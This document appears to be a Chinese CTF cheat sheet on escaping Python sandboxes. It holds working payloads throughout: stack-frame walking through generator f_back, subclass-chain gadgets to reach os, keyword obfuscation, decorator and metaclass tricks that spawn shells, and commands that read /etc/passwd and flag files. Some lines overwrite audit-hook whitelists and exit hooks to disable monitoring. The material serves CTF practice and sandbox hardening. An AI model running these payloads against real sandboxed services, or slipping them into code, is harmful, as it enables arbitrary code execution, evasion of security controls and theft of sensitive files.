def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

栈帧

栈帧的几个重要属性

f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!

利用栈帧沙箱逃逸

原理就是生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器

frame = next(g) #获取到生成器的栈帧对象
# frame = [x for x in g][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象

b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

代码说明:
1.使用next获取到的就是yield定义的值,这里获取到的就是g.gi_frame.f_back
2.使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧
3.compile(codes, “test”, “exec”)就是设置了名称为test的python沙箱环境

小改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器

frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)


waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)

alt text

栈帧顺序

1
f  -> waff -> <module>(test) -> <module>(1.py)

成功逃逸

获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量了

困惑

但是yield g.gi_frame.f_back并不能修改为yield g.gi_frame

这样获取到的栈帧经过f_back后获得的是None

要是再来一个f_back就会报错

alt text

就记住吧,在生成器函数内部直接访问

栈帧(粗略版)

生成器
通过生成器获取全局栈帧
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

通过f_back获取上一帧的变量从而逃逸

1
(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
1
2
3
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

异步函数
通过异步函数获取该函数的局部栈帧

1
2
async def a():pass
a().cr_frame.f_globals

signal

1
(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))

字符串匹配

base64变形

1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0

逆序

1
2
3
4
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali

list+dict

1
2
3
4
list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])]
__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])])
list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]
list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]

unicode

Python 3 开始支持非ASCII字符的标识符。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

1
print(__name__)

过滤属性名

getattr

1
getattr(object, name[, default])
1
2
3
4
5
6
7
8
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

__getattribute__

1
2
class MyClass:
def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__方法

1
2
3
4
>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>

__getattr__

__getattr__是 Python 的一个魔术方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError异常

1
2
3
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name

__globals__

__globals__可以用 func_globals 直接替换

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

基类

__mro__、__bases__、__base__互换

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

import

__import__
除了可以使用 import,还可以使用 __import__和 importlib.import_module来导入模块
importlib 需要进行导入后才能够使用

1
2
__import__('os')
importlib.import_module('os').system('ls')

__loader__
__loader__.load_module底层实现与 import 不同, 可以绕过audithook

1
__loader__.load_module('os')

[]

调用方法来获取属性

列表方法
__getitem__
pop

1
2
list.__getitem__(0)
list.pop(0)

字典方法
__getitem__
pop
get
setdefault

1
2
3
4
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')

‘’

str

1
2
3
4
5
6
7
8
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr

1
2
3
4
>>> chr(56)
'8'
>>> chr(100)
'd'

list dict

1
list(dict(whoami=1))[0]

__doc__
__doc__变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串

1
2
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]

bytes
接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

1
bytes([115, 121, 115, 116, 101, 109]).decode()

+

构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__中取

1
str().join(().__doc__[19],().__doc__[23])

数字

返回值
使用一些函数的返回值获取

0:int(bool([]))、Flase、len([])、any(())
1:int(bool([“”]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())

其他数字通过运算获取

repr

1
2
3
4
>>> len(repr(True))
4
>>> len(repr(bytearray))
19

len list dict
避免出现运算符

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

空格

使用括号替换

1
@print\r@set\r@open\r@input\rclass\x0ca:pass

运算符

== 可以用 in 来替换
or 可以用| + -a-b来替换

1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用& *替代

1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

()

装饰器
@

1
2
3
@exec
@input
def a():pass # or class a:pass
1
2
3
4
5
@print
@set
@open
@input
def a():pass # or class a:pass
1
@print\r@set\r@open\r@input\rclass\x0ca:pass

魔术方法
enum.EnumMeta.__getitem__

过滤括号调用函数

通过覆盖魔法方法调用函数

1
2
3
from os import system
help.__class__.__getattribute__ = system
help.calc

在__builtins__中,类似、可操作的对象还有

1
2
3
4
5
6
help
quit
license
exit
credits
copyright

通常为了执行命令,最好是覆盖为只有一个参数并且方便可控的魔法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from os import system


help.__class__.__delattr__ = system
del help.calc
help.__class__.__eq__ = system
help == "calc"
help.__class__.__ge__ = system
help >= "calc"
help.__class__.__gt__ = system
help > "calc"
help.__class__.__le__ = system
help <= "calc"
help.__class__.__lt__ = system
help < "calc"
help.__class__.__ne__ = system
help != "calc"
help.__class__.__getattribute__ = system
help.calc

f字符串

1
f'{__import__("os").system("whoami")}'

builtins函数

eval list dict

1
2
3
4
5
6
7
8
9
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

点号和逗号

内建函数可以使用eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。

模块内的函数可以先使用 __import__导入函数,然后使用 vars() 进行获取

1
2
>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

命名空间限制

python交互式解析器不能指定命名空间,可以脚本模拟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def repl():
global_namespace = {}
local_namespace = {}

while True:
try:
code = input('>>> ')
try:
# Try to eval the code first.
result = eval(code, global_namespace, local_namespace)
except SyntaxError:
# If a SyntaxError occurs, this might be because the user entered a statement,
# in which case we should use exec.
exec(code, global_namespace, local_namespace)
else:
print(result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
repl()

限制部分模块

exec 函数的第二个参数可以指定命名空间
可以通过获取其他命名空间里的 __builtins__绕过

1
2
__import__('types').__builtins__
__import__('string').__builtins__

清空builtins

使用Python继承链获取

长度限制

交互式

input
传入一个 input 打开一个新的输入流,然后再输入最终的 payload

1
eval(input())

sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入

1
2
3
4
5
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>

sys.stdin.readline()

1
2
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

1
2
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

help
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
然后输入 os,此时会进入 os 的帮助文档。

1
help> os

然后在输入 !sh就可以拿到 /bin/sh, 输入 !bash则可以拿到 /bin/bash

Web

例如Flask,通过HTTP传入参数,与SSTI的打法类似

1
2
url_for.__globals__[request.args.a]
lipsum.__globals__.os[request.args.a]

多行限制

exec

exec 可以支持换行符与;

1
2
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码

1
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作

1
<expression> := <value> if <condition> else <value>

借助海象表达式,可以通过列表来替代多行代码

1
eval('[a:=__import__("os"),b:=a.system("id")]')

变量覆盖

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules[‘__main__‘]就可以访问当当前模块定义的所有函数以及全局变量

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数

gc

gc模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互

gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。

gc.get_objects():这个函数会返回当前被管理的所有对象的列表。

gc.get_referrers(*objs):这个函数会返回指向 objs中任何一个对象的对象列表。

1
2
3
4
5
6
7
8
9
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

一些版本会触发 gc.get_objects hook 导致无法成功

traceback

主动抛出异常, 并获取其后要执行的代码, 然后将__exit进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame

# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back

# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print

# Now we're free to call whatever we want
os.system('cat /flag*')

一些版本会触发object.__getattr__hook

audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动

import:发生在导入模块时。

open:发生在打开文件时。

write:发生在写入文件时。

exec:发生在执行Python代码时。

compile:发生在编译Python代码时。

socket:发生在创建或使用网络套接字时。

os.system,os.popen等:发生在执行操作系统命令时。

subprocess.Popen,subprocess.run等:发生在启动子进程时。

__loader__

__loader__实际上指向的是 _frozen_importlib.BuiltinImporter类,也可以通过别的方式进行获取

1
2
3
4
5
6
7
8
>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

__loader__.load_module也有一个缺点就是无法导入非内建模块

_posixsubprocess

_posixsubprocess模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了_posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

3.11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...

__process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。

__executable_list: 可执行程序路径的列表。

__close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。

__fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。

__cwd_obj: 新进程的工作目录。

__env_list: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。

__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。

__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。

__restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。

__call_setsid: 如果设置为1,则在新进程中创建新的会话。

__pgid_to_set: 设置新进程的进程组 ID。

__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。

__child_umask: 设置新进程的 umask。

__preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。

__allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

篡改内置函数

修改白名单

1
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
1
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1
2
3
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")

不导入而获取模块

1
2
3
4
5
6
7
8
# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

Opcode

修改co_code

python3.11引入专用字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import dis
class OpGet:
def __getattr__(self, op):
return dis._all_opmap[op]
O = OpGet()

name = 'breakpoint'
cod = bytes([
O.LOAD_GLOBAL_BUILTIN, 1,
6, 0, # index, 0
6, 0, # index, 0
6, 0, # module key version, 0
6, 0, # builtins key version, 0
O.CALL_PY_EXACT_ARGS, 0,
6, 0, # index, 0
6, 0, # module key version, 0
6, 0, # builtins key version, 0
O.LOAD_ATTR_CLASS, 0,
])
1
2
3
4
5
6
7
8
9
10
11
12
from opcode import opmap

code = bytes([
111, 1, # LOAD_GLOBAL_BUILTIN
6,6,6,6,6,6,6,6, # trash
29, 0, # CALL_BUILTIN_CLASS
6,6,6,6,6,6, # other trash
191,0 # unknown opcode -> error
])


print(code.hex())

输出限制

异常处理

KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)

FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。

ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。

KeyError
KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。

1
2
{"1":"2"}[_]
'varxxx'

FileNotFoundError
FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。

但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉

1
2
open(_)
[Errno 2] No such file or directory: 'varxxx'

ValueError
ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:

1
2
int(_)
ValueError: invalid literal for int() with base 10: 'varxxx

AST沙箱

Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。

ast.Module: 表示一个整个的模块或者脚本。

ast.FunctionDef: 表示一个函数定义。

ast.AsyncFunctionDef: 表示一个异步函数定义。

ast.ClassDef: 表示一个类定义。

ast.Return: 表示一个return语句。

ast.Delete: 表示一个del语句。

ast.Assign: 表示一个赋值语句。

ast.AugAssign: 表示一个增量赋值语句,如x += 1。

ast.For: 表示一个for循环。

ast.While: 表示一个while循环。

ast.If: 表示一个if语句。

ast.With: 表示一个with语句。

ast.Raise: 表示一个raise语句。

ast.Try: 表示一个try/except语句。

ast.Import: 表示一个import语句。

ast.ImportFrom: 表示一个from…import…语句。

ast.Expr: 表示一个表达式。

ast.Call: 表示一个函数调用。

ast.Name: 表示一个变量名。

ast.Attribute: 表示一个属性引用,如x.y。
AST 沙箱会将用户的输入转化为操作码,一般情况下考虑绕过 AST 黑名单
打印AST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import ast

BAD_ATS = {
ast.Attribute,
ast.AST,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}

a = '''
[
system:=111,
bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))


for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
print(type(x))
exit()

print("[+] OK")

ast.Call

装饰器
绕过

1
2
3
4
@exec
@input
class X:
pass

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单

1
2
3
@help
class X:
pass
1
2
3
4
5
6
7
8
9
import os

def fake_wrapper(f):
return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
pass

自定义装饰器

1
2
3
4
5
6
7
8
9
import os

def fake_wrapper(f):
return '/bin/sh'

@os.system
@fake_wrapper
def something():
pass

函数覆盖
obj[argument]实际上是调用的 obj.__getitem__方法.因此只需要覆盖其 __getitem__方法, 即可在使用 obj[argument]执行代码

1
2
3
4
>>> class A:
... __getitem__ = exec
...
>>> A()['__import__("os").system("ls")']

metaclass
在 Python中,类本身也是对象,元类就是创建这些类(即类对象)的类。
类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性

在不使用构造函数的情况下触发

1
2
3
4
5
6
7
class Metaclass(type):
__getitem__ = exec

class Sub(metaclass=Metaclass):
pass

Sub['import os; os.system("sh")']

除了 __getitem__之外其他方法的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') # (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
1
2
3
4
5
6
7
class Metaclass(type):
__sub__ = exec

class Sub(metaclass=Metaclass):
pass

Sub-'import os; os.system("sh")'

exceptions
如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化

1
2
3
4
5
6
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec

raise RCE
1
2
3
4
5
6
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0

Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__

1
2
3
4
5
6
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

license
读取文件

1
2
3
4
5
6
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

当调用 license()时会打印这个文件

将 help 类的 __enter__方法覆盖为 license方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的

1
2
3
4
5
6
7
8
9
class MyContext:
pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

ast.Attribute

绕过ast.Attribute获取属性

python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
item = 2

match item:
case 1:
print("One")
case 2:
print("Two")

# Two

item = (1, 2)

match item:
case (x, y, z):
print(f"{x} {y} {z}")
case (x, y):
print(f"{x} {y}")
case (x,):
print(f"{x}")

匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x

1
2
3
4
5
6
7
8
9
10
11
class AClass:
def __init__(self, value):
self.thing = value

item = AClass(32)

match item:
case AClass(thing=x):
print(f"Got {x = }!")

# Got x = 32!

可以绕过点号

1
2
3
4
5
match str():
case str(__class__=x):
print(x==''.__class__)

# True

‘’.__class__.__base__.__subclasses__()

1
2
3
4
5
6
7
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz)

ast.Assign

绕过ast.Assign赋值,可以使用海象表达式
海象表达式解析后是ast.NamedExpr

ast.Constant

限制了数字、字符串
和字符串关键词绕过一样用list+dict

ast.Subscript

限制索引
min 函数可以获取列表中最小的元素,当列表中只有一个元素时,可以直接取值

1
2
3
min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[]))) # _wrap_close
min(list(dict(bash=[]))) # bash

如果要获取字典元素,可以利用 get 函数

1
2
3
match globals:
case object(get=get_func):
get_func("system")

ast.For

限制循环
filter、iter、next

1
2
3
4
5
6
7
8
9
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]